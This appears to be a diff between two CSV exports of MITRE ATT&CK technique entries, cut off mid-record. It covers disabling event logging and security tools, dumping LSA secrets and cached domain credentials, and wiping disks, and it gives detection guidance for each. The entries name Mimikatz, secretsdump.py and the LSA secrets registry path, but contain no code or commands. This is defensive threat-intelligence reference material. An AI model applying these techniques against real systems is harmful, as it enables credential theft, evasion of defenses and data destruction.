url='https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/')]",attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 22:02:33.870000+00:00,Disable Windows Event Logging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Command: Command Execution']",['Log analysis'],,,,Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.,,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-02-21 20:32:20.810000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/001', external_id='T1562.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/578.html', external_id='CAPEC-578')]",attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-19 13:41:17.746000+00:00,Disable or Modify Tools,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security']","['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status']","['Anti-virus', 'Log analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring']",,,,Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.,,,,,True,,,"['User', 'Administrator']","['Windows', 'macOS', 'Linux', 'Containers', 'IaaS']",,,,1.1 -2020-02-21 20:22:13.470000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. +In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. -Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562', external_id='T1562')]",attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:59:13.144000+00:00,Impair Defenses,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status', 'Script: Script Execution', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']","['Anti-virus', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring', 'Digital Certificate Validation', 'Host forensic analysis', 'Log analysis', 'Firewall']",,,,"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. +Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)",True,['Administrator'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:32:20.810Z,2021-10-18T21:27:48.159Z,Disable or Modify Tools,"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. -Monitor environment variables and APIs that can be leveraged to disable security measures.",,,,,False,,,"['Administrator', 'User']","['Windows', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,1.1 -2020-02-21 16:22:09.493000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) +Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/001', 'external_id': 'T1562.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/578.html', 'external_id': 'CAPEC-578'}, {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'}, {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gordon Long, Box, Inc., @ethicalhax', 'Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security']","['Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status']","['Anti-virus', 'Log analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring']","Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. -[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/004', external_id='T1003.004'), ExternalReference(source_name='Passcape LSA Secrets', description='Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.', url='https://www.passcape.com/index.php?section=docsys&cmd=details&id=23'), ExternalReference(source_name='Microsoft AD Admin Tier Model', description='Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.', url='https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN'), ExternalReference(source_name='Tilbury Windows Credentials', description='Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.', url='https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf'), ExternalReference(source_name='ired Dumping LSA Secrets', description='Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.', url='https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets'), ExternalReference(source_name='Powersploit', description='PowerSploit. (n.d.). Retrieved December 4, 2014.', url='https://github.com/mattifestation/PowerSploit')]",attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-21 21:12:38.361000+00:00,LSA Secrets,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ed Williams, Trustwave, SpiderLabs']","['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']",,,,,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",,,,,True,,,['SYSTEM'],['Windows'],,,,1.0 -2020-02-21 15:42:25.991000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) +Lack of expected log events may be suspicious.",True,"['User', 'Administrator']","['Windows', 'macOS', 'Linux', 'Containers', 'IaaS']",1.2,,,,,,, +attack-pattern,attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:22:13.470Z,2021-10-19T13:37:31.463Z,Impair Defenses,"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators. + +Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562', 'external_id': 'T1562'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Sensor Health: Host Status', 'Script: Script Execution', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Cloud Service: Cloud Service Modification', 'Cloud Service: Cloud Service Disable']","['Anti-virus', 'Signature-based detection', 'Host intrusion prevention systems', 'File monitoring', 'Digital Certificate Validation', 'Host forensic analysis', 'Log analysis', 'Firewall']","Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. + +Monitor environment variables and APIs that can be leveraged to disable security measures.",False,"['Administrator', 'User']","['Windows', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Containers', 'Network']",1.2,,,,,,, +attack-pattern,attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T16:22:09.493Z,2021-04-21T21:12:38.361Z,LSA Secrets,"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) + +[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/004', 'external_id': 'T1003.004'}, {'source_name': 'Passcape LSA Secrets', 'description': 'Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.', 'url': 'https://www.passcape.com/index.php?section=docsys&cmd=details&id=23'}, {'source_name': 'Microsoft AD Admin Tier Model', 'description': 'Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN'}, {'source_name': 'Tilbury Windows Credentials', 'description': 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.', 'url': 'https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf'}, {'source_name': 'ired Dumping LSA Secrets', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']","['Windows Registry: Windows Registry Key Access', 'Command: Command Execution']",,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",True,['SYSTEM'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T15:42:25.991Z,2020-03-24T20:41:08.996Z,Cached Domain Credentials,"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache) With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials. -Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/005', external_id='T1003.005'), ExternalReference(source_name='Microsoft - Cached Creds', description='Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)'), ExternalReference(source_name='PassLib mscache', description=""Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."", url='https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html'), ExternalReference(source_name='ired mscache', description='Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.', url='https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials'), ExternalReference(source_name='Powersploit', description='PowerSploit. (n.d.). Retrieved December 4, 2014.', url='https://github.com/mattifestation/PowerSploit')]",attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-24 20:41:08.996000+00:00,Cached Domain Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ed Williams, Trustwave, SpiderLabs']",['Command: Command Execution'],,,,,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. +Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/005', 'external_id': 'T1003.005'}, {'source_name': 'Microsoft - Cached Creds', 'description': 'Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)'}, {'source_name': 'PassLib mscache', 'description': ""Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."", 'url': 'https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html'}, {'source_name': 'ired mscache', 'description': 'Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.', 'url': 'https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ed Williams, Trustwave, SpiderLabs']",['Command: Command Execution'],,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. -Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",,,,,True,,,['SYSTEM'],['Windows'],,,,1.0 -2020-02-20 22:10:20.484000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. +Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",True,['SYSTEM'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:10:20.484Z,2020-03-28T23:00:00.367Z,Disk Structure Wipe,"Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. -To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1561/002', external_id='T1561.002'), ExternalReference(source_name='Symantec Shamoon 2012', description='Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', url='https://www.symantec.com/connect/blogs/shamoon-attacks'), ExternalReference(source_name='FireEye Shamoon Nov 2016', description='FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', url='https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'), ExternalReference(source_name='Palo Alto Shamoon Nov 2016', description='Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', url='http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'), ExternalReference(source_name='Kaspersky StoneDrill 2017', description='Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', url='https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'), ExternalReference(source_name='Unit 42 Shamoon3 2018', description='Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', url='https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'), ExternalReference(source_name='Microsoft Sysmon v6 May 2017', description='Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', url='https://docs.microsoft.com/sysinternals/downloads/sysmon')]",attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-28 23:00:00.367000+00:00,Disk Structure Wipe,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,,,Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,,,,['Availability'],True,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 22:06:41.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. +To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561/002', 'external_id': 'T1561.002'}, {'source_name': 'Symantec Shamoon 2012', 'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks'}, {'source_name': 'FireEye Shamoon Nov 2016', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Kaspersky StoneDrill 2017', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'}, {'source_name': 'Unit 42 Shamoon3 2018', 'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,True,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",1.0,,,,,['Availability'],, +attack-pattern,attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T22:06:41.739Z,2020-03-28T22:53:20.162Z,Disk Content Wipe,"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. -To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1561/001', external_id='T1561.001'), ExternalReference(source_name='Novetta Blockbuster', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', url='https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'), ExternalReference(source_name='Novetta Blockbuster Destructive Malware', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', url='https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'), ExternalReference(source_name='DOJ Lazarus Sony 2018', description='Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', url='https://www.justice.gov/opa/press-release/file/1092091/download'), ExternalReference(source_name='Microsoft Sysmon v6 May 2017', description='Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', url='https://docs.microsoft.com/sysinternals/downloads/sysmon')]",attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-28 22:53:20.162000+00:00,Disk Content Wipe,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Driver: Driver Load', 'Drive: Drive Access', 'Drive: Drive Modification']",,,,,Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.,,,,['Availability'],True,,,"['SYSTEM', 'root', 'Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-20 22:02:20.372000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted. +To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1561/001', 'external_id': 'T1561.001'}, {'source_name': 'Novetta 